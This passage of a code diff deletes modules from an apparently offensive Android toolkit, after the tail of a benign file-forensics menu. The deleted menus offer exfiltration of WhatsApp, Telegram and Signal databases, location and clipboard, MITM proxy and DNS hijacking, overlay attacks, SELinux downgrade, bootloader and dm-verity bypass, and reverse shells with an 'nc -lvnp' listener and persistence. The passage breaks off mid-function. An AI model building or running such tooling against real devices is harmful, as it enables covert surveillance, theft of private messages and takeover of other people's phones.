success, output = self.run_cmd(f"strings -n {min_len} '{p}' 2>/dev/null")
if success:
lines = output.split('\n')
print(f"Found {len(lines)} strings\n")
# Categorize
urls = [l for l in lines if re.search(r'https?://', l)]
ips = [l for l in lines if re.search(r'\b\d+\.\d+\.\d+\.\d+\b', l)]
paths = [l for l in lines if re.search(r'^/[a-z]', l, re.I)]
emails = [l for l in lines if re.search(r'[\w.-]+@[\w.-]+', l)]
if urls:
print(f"{Colors.CYAN}URLs ({len(urls)}):{Colors.RESET}")
for u in urls[:10]:
print(f" {u}")
if ips:
print(f"\n{Colors.CYAN}IP Addresses ({len(ips)}):{Colors.RESET}")
for ip in ips[:10]:
print(f" {ip}")
if emails:
print(f"\n{Colors.CYAN}Emails ({len(emails)}):{Colors.RESET}")
for e in emails[:10]:
print(f" {e}")
if paths:
print(f"\n{Colors.CYAN}Paths ({len(paths)}):{Colors.RESET}")
for p in paths[:10]:
print(f" {p}")
# Save option
save = input(f"\n{Colors.WHITE}Save all strings to file? (y/n): {Colors.RESET}").strip().lower()
if save == 'y':
outfile = f"{p.stem}_strings.txt"
with open(outfile, 'w') as f:
f.write(output)
self.print_status(f"Saved to {outfile}", "success")
def hash_lookup(self):
"""Look up hash in threat intel."""
print(f"\n{Colors.BOLD}Hash Lookup{Colors.RESET}")
hash_input = input(f"{Colors.WHITE}Enter hash (MD5/SHA1/SHA256): {Colors.RESET}").strip()
if not hash_input:
return
# Determine hash type
hash_len = len(hash_input)
if hash_len == 32:
hash_type = "MD5"
elif hash_len == 40:
hash_type = "SHA1"
elif hash_len == 64:
hash_type = "SHA256"
else:
self.print_status("Invalid hash length", "error")
return
print(f"\n{Colors.CYAN}Hash Type: {hash_type}{Colors.RESET}")
print(f"{Colors.CYAN}Hash: {hash_input}{Colors.RESET}\n")
# VirusTotal URL
print(f"{Colors.DIM}VirusTotal: https://www.virustotal.com/gui/file/{hash_input}{Colors.RESET}")
print(f"{Colors.DIM}Hybrid Analysis: https://www.hybrid-analysis.com/search?query={hash_input}{Colors.RESET}")
def analyze_log(self):
"""Analyze log files for anomalies."""
print(f"\n{Colors.BOLD}Log Analysis{Colors.RESET}")
print(f"{Colors.DIM}Common logs: /var/log/auth.log, /var/log/syslog, /var/log/apache2/access.log{Colors.RESET}\n")
filepath = input(f"{Colors.WHITE}Enter log file path: {Colors.RESET}").strip()
if not filepath:
return
p = Path(filepath).expanduser()
if not p.exists():
self.print_status(f"File not found", "error")
return
print(f"\n{Colors.CYAN}Analyzing {p.name}...{Colors.RESET}\n")
# Read log
try:
with open(p, 'r', errors='ignore') as f:
lines = f.readlines()
except Exception as e:
self.print_status(f"Error reading file: {e}", "error")
return
print(f"Total lines: {len(lines)}")
# Extract IPs
all_ips = []
for line in lines:
ips = re.findall(r'\b(\d+\.\d+\.\d+\.\d+)\b', line)
all_ips.extend(ips)
if all_ips:
from collections import Counter
ip_counts = Counter(all_ips)
print(f"\n{Colors.CYAN}Top IP Addresses:{Colors.RESET}")
for ip, count in ip_counts.most_common(10):
print(f" {ip:20} {count:>6} occurrences")
# Look for error patterns
errors = [l for l in lines if re.search(r'error|fail|denied|invalid', l, re.I)]
if errors:
print(f"\n{Colors.YELLOW}Error/Failure entries: {len(errors)}{Colors.RESET}")
print(f"{Colors.DIM}Recent errors:{Colors.RESET}")
for e in errors[-5:]:
print(f" {e.strip()[:100]}")
# Timestamps
timestamps = []
for line in lines:
match = re.search(r'(\w{3}\s+\d+\s+\d+:\d+:\d+)', line)
if match:
timestamps.append(match.group(1))
if timestamps:
print(f"\n{Colors.CYAN}Time Range:{Colors.RESET}")
print(f" First: {timestamps[0]}")
print(f" Last: {timestamps[-1]}")
def hex_dump(self):
"""Create hex dump of file."""
print(f"\n{Colors.BOLD}Hex Dump{Colors.RESET}")
filepath = input(f"{Colors.WHITE}Enter file path: {Colors.RESET}").strip()
if not filepath:
return
p = Path(filepath).expanduser()
if not p.exists():
self.print_status(f"File not found", "error")
return
offset = input(f"{Colors.WHITE}Start offset [0]: {Colors.RESET}").strip() or "0"
length = input(f"{Colors.WHITE}Length [256]: {Colors.RESET}").strip() or "256"
try:
offset = int(offset, 0) # Support hex input
length = int(length, 0)
except:
self.print_status("Invalid offset/length", "error")
return
print(f"\n{Colors.CYAN}Hex dump of {p.name} (offset={hex(offset)}, length={length}):{Colors.RESET}\n")
with open(p, 'rb') as f:
f.seek(offset)
data = f.read(length)
# Format hex dump
for i in range(0, len(data), 16):
chunk = data[i:i+16]
hex_part = ' '.join(f'{b:02x}' for b in chunk)
ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)
print(f" {offset+i:08x} {hex_part:<48} {ascii_part}")
def compare_files(self):
"""Compare two files."""
print(f"\n{Colors.BOLD}File Comparison{Colors.RESET}")
file1 = input(f"{Colors.WHITE}First file: {Colors.RESET}").strip()
file2 = input(f"{Colors.WHITE}Second file: {Colors.RESET}").strip()
if not file1 or not file2:
return
p1 = Path(file1).expanduser()
p2 = Path(file2).expanduser()
if not p1.exists() or not p2.exists():
self.print_status("One or both files not found", "error")
return
print(f"\n{Colors.CYAN}Comparing files...{Colors.RESET}\n")
# Size comparison
s1, s2 = p1.stat().st_size, p2.stat().st_size
print(f"File 1 size: {s1:,} bytes")
print(f"File 2 size: {s2:,} bytes")
print(f"Difference: {abs(s1-s2):,} bytes")
# Hash comparison
h1 = self.get_file_hashes(str(p1))
h2 = self.get_file_hashes(str(p2))
print(f"\n{Colors.CYAN}Hash Comparison:{Colors.RESET}")
for algo in ['md5', 'sha256']:
match = h1.get(algo) == h2.get(algo)
status = f"{Colors.GREEN}MATCH{Colors.RESET}" if match else f"{Colors.RED}DIFFERENT{Colors.RESET}"
print(f" {algo.upper()}: {status}")
if h1.get('sha256') != h2.get('sha256'):
# Show diff if text files
success, output = self.run_cmd(f"diff '{p1}' '{p2}' 2>/dev/null | head -30")
if success and output:
print(f"\n{Colors.CYAN}Differences (first 30 lines):{Colors.RESET}")
print(output)
def show_menu(self):
clear_screen()
display_banner()
print(f"{Colors.CYAN}{Colors.BOLD} Analysis & Forensics{Colors.RESET}")
print(f"{Colors.DIM} File analysis and forensics tools{Colors.RESET}")
print(f"{Colors.DIM} {'' * 50}{Colors.RESET}")
print()
print(f" {Colors.CYAN}[1]{Colors.RESET} Analyze File")
print(f" {Colors.CYAN}[2]{Colors.RESET} Extract Strings")
print(f" {Colors.CYAN}[3]{Colors.RESET} Hash Lookup")
print(f" {Colors.CYAN}[4]{Colors.RESET} Analyze Log")
print(f" {Colors.CYAN}[5]{Colors.RESET} Hex Dump")
print(f" {Colors.CYAN}[6]{Colors.RESET} Compare Files")
print()
print(f" {Colors.DIM}[0]{Colors.RESET} Back")
print()
def run(self):
while True:
self.show_menu()
try:
choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip()
if choice == "0":
break
elif choice == "1":
self.analyze_file()
elif choice == "2":
self.extract_strings()
elif choice == "3":
self.hash_lookup()
elif choice == "4":
self.analyze_log()
elif choice == "5":
self.hex_dump()
elif choice == "6":
self.compare_files()
if choice in ["1", "2", "3", "4", "5", "6"]:
input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}")
except (EOFError, KeyboardInterrupt):
break
def run():
Analyzer().run()
if __name__ == "__main__":
run()

View File

@@ -1,380 +0,0 @@
"""
Android Advanced Exploits - Network, app manipulation, system control, data exfil
"""
DESCRIPTION = "Android advanced exploits (network, apps, system, data extraction)"
AUTHOR = "AUTARCH"
VERSION = "1.0"
CATEGORY = "offense"
import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
class AndroidAdvanced:
"""Interactive menu for advanced Android exploits."""
def __init__(self):
from core.android_exploit import get_exploit_manager
from core.hardware import get_hardware_manager
self.mgr = get_exploit_manager()
self.hw = get_hardware_manager()
self.serial = None
def _select_device(self):
devices = self.hw.adb_devices()
if not devices:
print(" No ADB devices connected.")
return
if len(devices) == 1:
self.serial = devices[0]['serial']
print(f" Selected: {self.serial}")
return
print("\n Select device:")
for i, d in enumerate(devices, 1):
print(f" {i}) {d['serial']} {d.get('model','')}")
try:
choice = int(input(" > ").strip())
if 1 <= choice <= len(devices):
self.serial = devices[choice - 1]['serial']
except (ValueError, EOFError, KeyboardInterrupt):
pass
def _ensure_device(self):
if not self.serial:
self._select_device()
return self.serial is not None
def show_menu(self):
print(f"\n{'='*60}")
print(" Advanced Android Exploits")
print(f"{'='*60}")
print(f" Device: {self.serial or '(none)'}")
print()
print(" ── Data Exfiltration ──")
print(" [1] Clipboard Content")
print(" [2] Notifications")
print(" [3] Location Data")
print(" [4] List Media Files")
print(" [5] Pull Media Folder")
print(" [6] WhatsApp DB [ROOT]")
print(" [7] Telegram DB [ROOT]")
print(" [8] Signal DB [ROOT]")
print(" [9] Dump Settings (all)")
print(" [10] Device Fingerprint")
print(" [11] Dump Any Database [ROOT]")
print()
print(" ── Network ──")
print(" [20] Network Info")
print(" [21] Set Proxy (MITM)")
print(" [22] Clear Proxy")
print(" [23] Set DNS [ROOT]")
print(" [24] WiFi Scan")
print(" [25] WiFi Connect")
print(" [26] WiFi On/Off")
print(" [27] Enable Hotspot")
print(" [28] Capture Traffic [ROOT]")
print(" [29] Port Forward")
print(" [30] ADB over WiFi")
print()
print(" ── App Manipulation ──")
print(" [40] Grant Permission")
print(" [41] Revoke Permission")
print(" [42] List App Permissions")
print(" [43] Disable App")
print(" [44] Enable App")
print(" [45] Clear App Data")
print(" [46] Force Stop App")
print(" [47] Launch App")
print(" [48] Launch Activity")
print(" [49] Send Broadcast")
print(" [50] Content Query")
print(" [51] Enable Overlay")
print()
print(" ── System ──")
print(" [60] SELinux Permissive [ROOT]")
print(" [61] Remount /system RW [ROOT]")
print(" [62] Logcat Sensitive Data")
print(" [63] Deploy Frida Server [ROOT]")
print(" [64] Running Processes")
print(" [65] Open Ports")
print(" [66] Modify Setting")
print()
print(" [s] Select Device")
print(" [0] Back")
print()
def _print_result(self, r):
import json
if isinstance(r, dict):
for k, v in r.items():
if isinstance(v, (list, dict)) and len(str(v)) > 200:
print(f" {k}: [{len(v)} items]" if isinstance(v, list) else f" {k}: [dict]")
else:
val = str(v)
if len(val) > 120:
val = val[:120] + '...'
print(f" {k}: {val}")
def run_interactive(self):
while True:
self.show_menu()
try:
choice = input(" Select > ").strip().lower()
except (EOFError, KeyboardInterrupt):
break
if choice == '0':
break
elif choice == 's':
self._select_device()
continue
if not self._ensure_device():
continue
try:
self._dispatch(choice)
except (EOFError, KeyboardInterrupt):
continue
def _dispatch(self, choice):
s = self.serial
m = self.mgr
# Data Exfil
if choice == '1':
self._print_result(m.extract_clipboard(s))
elif choice == '2':
r = m.dump_notifications(s)
print(f" {r.get('count', 0)} notifications:")
for n in r.get('notifications', [])[:20]:
print(f" [{n.get('package','')}] {n.get('title','')} - {n.get('text','')}")
elif choice == '3':
self._print_result(m.extract_location(s))
elif choice == '4':
t = input(" Type (photos/downloads/screenshots/whatsapp_media): ").strip() or 'photos'
r = m.extract_media_list(s, media_type=t)
print(f" {r['count']} files in {r['path']}:")
for f in r['files'][:30]:
print(f" {f}")
elif choice == '5':
t = input(" Type (photos/downloads/screenshots): ").strip() or 'photos'
lim = input(" Limit [50]: ").strip()
r = m.pull_media_folder(s, media_type=t, limit=int(lim) if lim else 50)
print(f" Pulled {r['count']} files to {r.get('output_dir','')}")
elif choice == '6':
r = m.extract_whatsapp_db(s)
self._print_result(r)
elif choice == '7':
r = m.extract_telegram_db(s)
self._print_result(r)
elif choice == '8':
r = m.extract_signal_db(s)
self._print_result(r)
elif choice == '9':
r = m.dump_all_settings(s)
for ns, entries in r.get('settings', {}).items():
print(f"\n [{ns}] ({len(entries)} entries)")
for k, v in list(entries.items())[:10]:
print(f" {k}={v}")
if len(entries) > 10:
print(f" ... and {len(entries)-10} more")
elif choice == '10':
fp = m.get_device_fingerprint(s)
print("\n Device Fingerprint:")
for k, v in fp.items():
print(f" {k:<25} {v}")
elif choice == '11':
db_path = input(" Database path on device: ").strip()
table = input(" Table name (or Enter to list tables): ").strip() or None
r = m.dump_database(s, db_path, table=table)
if r['success']:
print(f" Tables: {', '.join(r['tables'])}")
if r['rows']:
for row in r['rows'][:10]:
print(f" {row}")
else:
print(f" Error: {r['error']}")
# Network
elif choice == '20':
info = m.get_network_info(s)
for k, v in info.items():
val = str(v)[:200]
print(f" {k}: {val}")
elif choice == '21':
host = input(" Proxy host: ").strip()
port = input(" Proxy port: ").strip()
if host and port:
r = m.set_proxy(s, host, port)
print(f" Proxy set: {r.get('proxy')}")
elif choice == '22':
m.clear_proxy(s)
print(" Proxy cleared.")
elif choice == '23':
dns1 = input(" DNS1: ").strip()
dns2 = input(" DNS2 (optional): ").strip()
if dns1:
m.set_dns(s, dns1, dns2)
print(f" DNS set: {dns1} {dns2}")
elif choice == '24':
r = m.wifi_scan(s)
print(r.get('output', 'No results'))
elif choice == '25':
ssid = input(" SSID: ").strip()
pwd = input(" Password (Enter for open): ").strip()
if ssid:
r = m.wifi_connect(s, ssid, pwd)
print(f" {r.get('output', 'Done')}")
elif choice == '26':
action = input(" Enable or disable? [e/d]: ").strip().lower()
if action == 'd':
m.wifi_disconnect(s)
print(" WiFi disabled.")
else:
m.wifi_enable(s)
print(" WiFi enabled.")
elif choice == '27':
ssid = input(" Hotspot SSID [AUTARCH_AP]: ").strip() or 'AUTARCH_AP'
pwd = input(" Password [autarch123]: ").strip() or 'autarch123'
r = m.enable_hotspot(s, ssid, pwd)
print(f" Hotspot: {ssid}")
elif choice == '28':
iface = input(" Interface [any]: ").strip() or 'any'
dur = input(" Duration seconds [30]: ").strip()
filt = input(" Filter (optional): ").strip()
r = m.capture_traffic(s, iface, int(dur) if dur else 30, filt)
if r['success']:
print(f" PCAP saved: {r['path']} ({r['size']} bytes)")
else:
print(f" Error: {r['error']}")
elif choice == '29':
lp = input(" Local port: ").strip()
rp = input(" Remote port: ").strip()
if lp and rp:
r = m.port_forward(s, lp, rp)
print(f" Forward: localhost:{lp} -> device:{rp}")
elif choice == '30':
port = input(" Port [5555]: ").strip() or '5555'
r = m.enable_adb_wifi(s, int(port))
print(f" ADB WiFi: {r.get('connect_cmd', '?')}")
# App Manipulation
elif choice == '40':
pkg = input(" Package: ").strip()
perm = input(" Permission (e.g. android.permission.CAMERA): ").strip()
if pkg and perm:
r = m.grant_permission(s, pkg, perm)
print(f" {r.get('output', 'Done')}")
elif choice == '41':
pkg = input(" Package: ").strip()
perm = input(" Permission: ").strip()
if pkg and perm:
r = m.revoke_permission(s, pkg, perm)
print(f" {r.get('output', 'Done')}")
elif choice == '42':
pkg = input(" Package: ").strip()
if pkg:
r = m.list_permissions(s, pkg)
print(f" Granted ({len(r['granted'])}):")
for p in r['granted'][:20]:
print(f" + {p}")
print(f" Denied ({len(r['denied'])}):")
for p in r['denied'][:10]:
print(f" - {p}")
elif choice == '43':
pkg = input(" Package to disable: ").strip()
if pkg:
r = m.disable_app(s, pkg)
print(f" {r.get('output', 'Done')}")
elif choice == '44':
pkg = input(" Package to enable: ").strip()
if pkg:
r = m.enable_app(s, pkg)
print(f" {r.get('output', 'Done')}")
elif choice == '45':
pkg = input(" Package to clear: ").strip()
if pkg:
confirm = input(f" Clear ALL data for {pkg}? [y/N]: ").strip().lower()
if confirm == 'y':
r = m.clear_app_data(s, pkg)
print(f" {r.get('output', 'Done')}")
elif choice == '46':
pkg = input(" Package to force stop: ").strip()
if pkg:
m.force_stop_app(s, pkg)
print(f" Force stopped {pkg}")
elif choice == '47':
pkg = input(" Package to launch: ").strip()
if pkg:
m.launch_app(s, pkg)
print(f" Launched {pkg}")
elif choice == '48':
comp = input(" Component (com.pkg/.Activity): ").strip()
extras = input(" Extras (optional am flags): ").strip()
if comp:
r = m.launch_activity(s, comp, extras)
print(f" {r.get('output', 'Done')}")
elif choice == '49':
action = input(" Broadcast action: ").strip()
extras = input(" Extras (optional): ").strip()
if action:
r = m.send_broadcast(s, action, extras)
print(f" {r.get('output', 'Done')}")
elif choice == '50':
uri = input(" Content URI: ").strip()
proj = input(" Projection (col1:col2 or Enter): ").strip()
where = input(" Where clause (or Enter): ").strip()
if uri:
r = m.content_query(s, uri, proj, where)
print(f" {r['count']} rows:")
for row in r['rows'][:20]:
print(f" {row}")
elif choice == '51':
pkg = input(" Package for overlay: ").strip()
if pkg:
m.overlay_attack_enable(s, pkg)
print(f" Overlay enabled for {pkg}")
# System
elif choice == '60':
r = m.set_selinux(s, 'permissive')
print(f" SELinux: {r.get('mode', '?')}")
elif choice == '61':
r = m.remount_system(s)
print(f" /system remounted {r.get('mode')}: {r.get('output','')}")
elif choice == '62':
dur = input(" Scan duration [10]: ").strip()
r = m.logcat_sensitive(s, int(dur) if dur else 10)
print(f" Found {r['count']} sensitive lines:")
for line in r['lines'][:20]:
print(f" {line[:120]}")
elif choice == '63':
path = input(" Frida server binary path: ").strip()
if path:
r = m.deploy_frida(s, path)
if r['success']:
print(f" Frida running, PID: {r['pid']}")
else:
print(f" Error: {r.get('error')}")
elif choice == '64':
r = m.get_running_processes(s)
print(f" {r['count']} processes:")
for p in r['processes'][:30]:
print(f" {p.get('pid','?'):>6} {p.get('user',''):>12} {p.get('name','')}")
elif choice == '65':
r = m.get_open_ports(s)
print(f" {r['count']} listening ports:")
for p in r['ports']:
print(f" {p}")
elif choice == '66':
ns = input(" Namespace (system/secure/global): ").strip()
key = input(" Key: ").strip()
val = input(" Value: ").strip()
if ns and key and val:
r = m.modify_setting(s, ns, key, val)
print(f" {ns}.{key} = {r.get('value','?')}")
else:
print(" Invalid choice.")
def run():
m = AndroidAdvanced()
m.run_interactive()

View File

@@ -1,165 +0,0 @@
"""
Android App Extraction - Pull APKs, app data, shared preferences
"""
DESCRIPTION = "Android app extraction (APK pull, app data, shared prefs)"
AUTHOR = "AUTARCH"
VERSION = "1.0"
CATEGORY = "hardware"
import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
class AndroidApps:
"""Interactive menu for Android app extraction."""
def __init__(self):
from core.android_exploit import get_exploit_manager
from core.hardware import get_hardware_manager
self.mgr = get_exploit_manager()
self.hw = get_hardware_manager()
self.serial = None
def _select_device(self):
devices = self.hw.adb_devices()
if not devices:
print(" No ADB devices connected.")
return
if len(devices) == 1:
self.serial = devices[0]['serial']
print(f" Selected: {self.serial}")
return
print("\n Select device:")
for i, d in enumerate(devices, 1):
model = d.get('model', '')
print(f" {i}) {d['serial']} {model}")
try:
choice = int(input(" > ").strip())
if 1 <= choice <= len(devices):
self.serial = devices[choice - 1]['serial']
except (ValueError, EOFError, KeyboardInterrupt):
pass
def _ensure_device(self):
if not self.serial:
self._select_device()
return self.serial is not None
def show_menu(self):
print(f"\n{'='*50}")
print(" App Extraction")
print(f"{'='*50}")
print(f" Device: {self.serial or '(none)'}")
print()
print(" [1] List Packages")
print(" [2] Pull APK")
print(" [3] Pull App Data (root/debuggable)")
print(" [4] Extract Shared Prefs")
print(" [s] Select Device")
print(" [0] Back")
print()
def list_packages(self):
if not self._ensure_device():
return
try:
inc = input(" Include system apps? [y/N]: ").strip().lower() == 'y'
except (EOFError, KeyboardInterrupt):
return
result = self.mgr.list_packages(self.serial, include_system=inc)
if 'error' in result:
print(f" Error: {result['error']}")
return
print(f"\n Found {result['count']} packages:")
for pkg in result['packages']:
flag = ' [SYS]' if pkg['is_system'] else ''
print(f" {pkg['package']}{flag}")
print(f" {pkg['path']}")
def pull_apk(self):
if not self._ensure_device():
return
try:
package = input(" Package name: ").strip()
except (EOFError, KeyboardInterrupt):
return
if not package:
return
print(f" Pulling APK for {package}...")
result = self.mgr.pull_apk(self.serial, package)
if result['success']:
size_mb = result['size'] / (1024 * 1024)
print(f" Saved: {result['local_path']} ({size_mb:.1f} MB)")
else:
print(f" Error: {result['error']}")
def pull_app_data(self):
if not self._ensure_device():
return
try:
package = input(" Package name: ").strip()
except (EOFError, KeyboardInterrupt):
return
if not package:
return
print(f" Pulling app data for {package}...")
result = self.mgr.pull_app_data(self.serial, package)
if result['success']:
print(f" Output dir: {result['output_dir']}")
for f in result['files']:
print(f" {f}")
else:
print(" No data extracted (need debuggable app or root).")
def extract_prefs(self):
if not self._ensure_device():
return
try:
package = input(" Package name: ").strip()
except (EOFError, KeyboardInterrupt):
return
if not package:
return
print(f" Extracting shared prefs for {package}...")
result = self.mgr.extract_shared_prefs(self.serial, package)
if result['success']:
print(f" Found {result['count']} pref files:")
for name, content in result['prefs'].items():
print(f"\n --- {name} ---")
# Show first 20 lines
lines = content.split('\n')[:20]
for line in lines:
print(f" {line}")
if len(content.split('\n')) > 20:
print(" ...")
else:
print(f" Error: {result.get('error', 'Failed')}")
def run_interactive(self):
while True:
self.show_menu()
try:
choice = input(" Select > ").strip().lower()
except (EOFError, KeyboardInterrupt):
break
if choice == '0':
break
elif choice == '1':
self.list_packages()
elif choice == '2':
self.pull_apk()
elif choice == '3':
self.pull_app_data()
elif choice == '4':
self.extract_prefs()
elif choice == 's':
self._select_device()
else:
print(" Invalid choice.")
def run():
m = AndroidApps()
m.run_interactive()

View File

@@ -1,203 +0,0 @@
"""
Android Boot / Recovery Exploit - Bootloader unlock, flash, dm-verity
"""
DESCRIPTION = "Android boot/recovery exploits (flash, unlock, verity bypass)"
AUTHOR = "AUTARCH"
VERSION = "1.0"
CATEGORY = "offense"
import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
class AndroidBoot:
"""Interactive menu for boot/recovery operations."""
def __init__(self):
from core.android_exploit import get_exploit_manager
from core.hardware import get_hardware_manager
self.mgr = get_exploit_manager()
self.hw = get_hardware_manager()
self.serial = None
def _select_device(self):
"""Select from fastboot devices (boot ops need fastboot mostly)."""
fb_devices = self.hw.fastboot_devices()
adb_devices = self.hw.adb_devices()
all_devs = []
for d in fb_devices:
all_devs.append({'serial': d['serial'], 'mode': 'fastboot'})
for d in adb_devices:
all_devs.append({'serial': d['serial'], 'mode': 'adb'})
if not all_devs:
print(" No devices found (ADB or fastboot).")
return
if len(all_devs) == 1:
self.serial = all_devs[0]['serial']
print(f" Selected: {self.serial} ({all_devs[0]['mode']})")
return
print("\n Select device:")
for i, d in enumerate(all_devs, 1):
print(f" {i}) {d['serial']} [{d['mode']}]")
try:
choice = int(input(" > ").strip())
if 1 <= choice <= len(all_devs):
self.serial = all_devs[choice - 1]['serial']
except (ValueError, EOFError, KeyboardInterrupt):
pass
def _ensure_device(self):
if not self.serial:
self._select_device()
return self.serial is not None
def show_menu(self):
print(f"\n{'='*50}")
print(" Boot / Recovery Exploit")
print(f"{'='*50}")
print(" !! WARNING: Can BRICK device / WIPE data !!")
print(f" Device: {self.serial or '(none)'}")
print()
print(" [1] Bootloader Info")
print(" [2] Backup Boot Image")
print(" [3] Unlock Bootloader [WIPES DATA]")
print(" [4] Flash Custom Recovery")
print(" [5] Flash Boot Image")
print(" [6] Disable dm-verity/AVB")
print(" [7] Temp Boot (no flash)")
print(" [s] Select Device")
print(" [0] Back")
print()
def bootloader_info(self):
if not self._ensure_device():
return
print(" Querying bootloader...")
info = self.mgr.get_bootloader_info(self.serial)
if not info:
print(" No info returned (device might not be in fastboot mode).")
return
print(f"\n Bootloader Variables:")
for k, v in info.items():
print(f" {k:<25} {v}")
def backup_boot(self):
if not self._ensure_device():
return
print(" Backing up boot image (requires root via ADB)...")
result = self.mgr.backup_boot_image(self.serial)
if result['success']:
size_mb = result['size'] / (1024 * 1024)
print(f" Saved: {result['local_path']} ({size_mb:.1f} MB)")
else:
print(f" Error: {result.get('error', 'Failed')}")
def unlock_bootloader(self):
if not self._ensure_device():
return
print("\n !! WARNING: This will WIPE ALL DATA on the device !!")
try:
confirm = input(" Type 'YES' to proceed: ").strip()
except (EOFError, KeyboardInterrupt):
return
if confirm != 'YES':
print(" Cancelled.")
return
print(" Unlocking bootloader...")
result = self.mgr.unlock_bootloader(self.serial)
if result['success']:
print(" Bootloader unlocked (or confirmation pending on device).")
else:
print(f" Result: {result.get('output', 'Unknown')}")
def flash_recovery(self):
if not self._ensure_device():
return
try:
img = input(" Recovery image path: ").strip()
except (EOFError, KeyboardInterrupt):
return
if not img:
return
print(" Flashing recovery...")
result = self.mgr.flash_recovery(self.serial, img)
if result.get('success'):
print(f" Flash started (op: {result.get('op_id', '?')})")
else:
print(f" Error: {result.get('error', 'Failed')}")
def flash_boot(self):
if not self._ensure_device():
return
try:
img = input(" Boot image path: ").strip()
except (EOFError, KeyboardInterrupt):
return
if not img:
return
print(" Flashing boot...")
result = self.mgr.flash_boot(self.serial, img)
if result.get('success'):
print(f" Flash started (op: {result.get('op_id', '?')})")
else:
print(f" Error: {result.get('error', 'Failed')}")
def disable_verity(self):
if not self._ensure_device():
return
try:
vbmeta = input(" vbmeta image path (optional, Enter to skip): ").strip() or None
except (EOFError, KeyboardInterrupt):
return
print(" Disabling dm-verity/AVB...")
result = self.mgr.disable_verity(self.serial, vbmeta)
print(f" Result: {result.get('output', 'Done')}")
print(f" Method: {result.get('method', '?')}")
def temp_boot(self):
if not self._ensure_device():
return
try:
img = input(" Boot image path: ").strip()
except (EOFError, KeyboardInterrupt):
return
if not img:
return
print(" Temp-booting image (no permanent flash)...")
result = self.mgr.boot_temp(self.serial, img)
if result['success']:
print(" Device booting from temporary image.")
else:
print(f" Error: {result.get('output', 'Failed')}")
def run_interactive(self):
while True:
self.show_menu()
try:
choice = input(" Select > ").strip().lower()
except (EOFError, KeyboardInterrupt):
break
if choice == '0':
break
actions = {
'1': self.bootloader_info,
'2': self.backup_boot,
'3': self.unlock_bootloader,
'4': self.flash_recovery,
'5': self.flash_boot,
'6': self.disable_verity,
'7': self.temp_boot,
's': self._select_device,
}
action = actions.get(choice)
if action:
action()
else:
print(" Invalid choice.")
def run():
m = AndroidBoot()
m.run_interactive()

View File

@@ -1,191 +0,0 @@
"""
Android Payload Deployment - Deploy binaries, reverse shells, persistence
"""
DESCRIPTION = "Android payload deployment (binaries, reverse shells, persistence)"
AUTHOR = "AUTARCH"
VERSION = "1.0"
CATEGORY = "offense"
import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
class AndroidPayload:
"""Interactive menu for Android payload deployment."""
def __init__(self):
from core.android_exploit import get_exploit_manager
from core.hardware import get_hardware_manager
self.mgr = get_exploit_manager()
self.hw = get_hardware_manager()
self.serial = None
def _select_device(self):
devices = self.hw.adb_devices()
if not devices:
print(" No ADB devices connected.")
return
if len(devices) == 1:
self.serial = devices[0]['serial']
print(f" Selected: {self.serial}")
return
print("\n Select device:")
for i, d in enumerate(devices, 1):
model = d.get('model', '')
print(f" {i}) {d['serial']} {model}")
try:
choice = int(input(" > ").strip())
if 1 <= choice <= len(devices):
self.serial = devices[choice - 1]['serial']
except (ValueError, EOFError, KeyboardInterrupt):
pass
def _ensure_device(self):
if not self.serial:
self._select_device()
return self.serial is not None
def show_menu(self):
print(f"\n{'='*50}")
print(" Payload Deployment")
print(f"{'='*50}")
print(f" Device: {self.serial or '(none)'}")
print()
print(" [1] Deploy Binary")
print(" [2] Execute Payload")
print(" [3] Setup Reverse Shell")
print(" [4] Install Persistence [ROOT]")
print(" [5] List Running Payloads")
print(" [6] Kill Payload")
print(" [s] Select Device")
print(" [0] Back")
print()
def deploy_binary(self):
if not self._ensure_device():
return
try:
local = input(" Local binary path: ").strip()
remote = input(" Remote path [/data/local/tmp/]: ").strip() or '/data/local/tmp/'
except (EOFError, KeyboardInterrupt):
return
if not local:
return
print(" Deploying...")
result = self.mgr.deploy_binary(self.serial, local, remote)
if result['success']:
print(f" Deployed to: {result['remote_path']}")
else:
print(f" Error: {result['error']}")
def execute_payload(self):
if not self._ensure_device():
return
try:
remote = input(" Remote path: ").strip()
args = input(" Arguments []: ").strip()
bg = input(" Background? [Y/n]: ").strip().lower() != 'n'
except (EOFError, KeyboardInterrupt):
return
if not remote:
return
print(" Executing...")
result = self.mgr.execute_payload(self.serial, remote, args=args, background=bg)
if result['success']:
if result['background']:
print(f" Running in background, PID: {result['pid']}")
else:
print(f" Output:\n{result['output']}")
else:
print(f" Error: {result.get('output', 'Failed')}")
def reverse_shell(self):
if not self._ensure_device():
return
try:
lhost = input(" LHOST (your IP): ").strip()
lport = input(" LPORT: ").strip()
print(" Methods: nc, bash, python")
method = input(" Method [nc]: ").strip() or 'nc'
except (EOFError, KeyboardInterrupt):
return
if not lhost or not lport:
return
print(f" Setting up {method} reverse shell to {lhost}:{lport}...")
result = self.mgr.setup_reverse_shell(self.serial, lhost, int(lport), method)
if result['success']:
print(f" Reverse shell initiated ({method})")
print(f" Catch with: nc -lvnp {lport}")
else:
print(f" Error: {result.get('error', 'Failed')}")
def persistence(self):
if not self._ensure_device():
return
try:
method = input(" Method [init.d]: ").strip() or 'init.d'
except (EOFError, KeyboardInterrupt):
return
print(" Installing persistence (requires root)...")
result = self.mgr.install_persistence(self.serial, method)
if result['success']:
print(f" Installed at: {result['path']}")
else:
print(f" Error: {result.get('error', 'Failed')}")
def list_payloads(self):
if not self._ensure_device():
return
result = self.mgr.list_running_payloads(self.serial)
if not result['success']:
print(f" Error: {result.get('error', 'Failed')}")
return
if not result['payloads']:
print(" No running payloads found in /data/local/tmp/")
return
print(f"\n Found {result['count']} running payloads:")
for p in result['payloads']:
print(f" PID {p['pid']}: {p['command']}")
def kill_payload(self):
if not self._ensure_device():
return
try:
pid = input(" PID to kill: ").strip()
except (EOFError, KeyboardInterrupt):
return
if not pid:
return
result = self.mgr.kill_payload(self.serial, pid)
print(f" Kill signal sent to PID {pid}")
def run_interactive(self):
while True:
self.show_menu()
try:
choice = input(" Select > ").strip().lower()
except (EOFError, KeyboardInterrupt):
break
if choice == '0':
break
actions = {
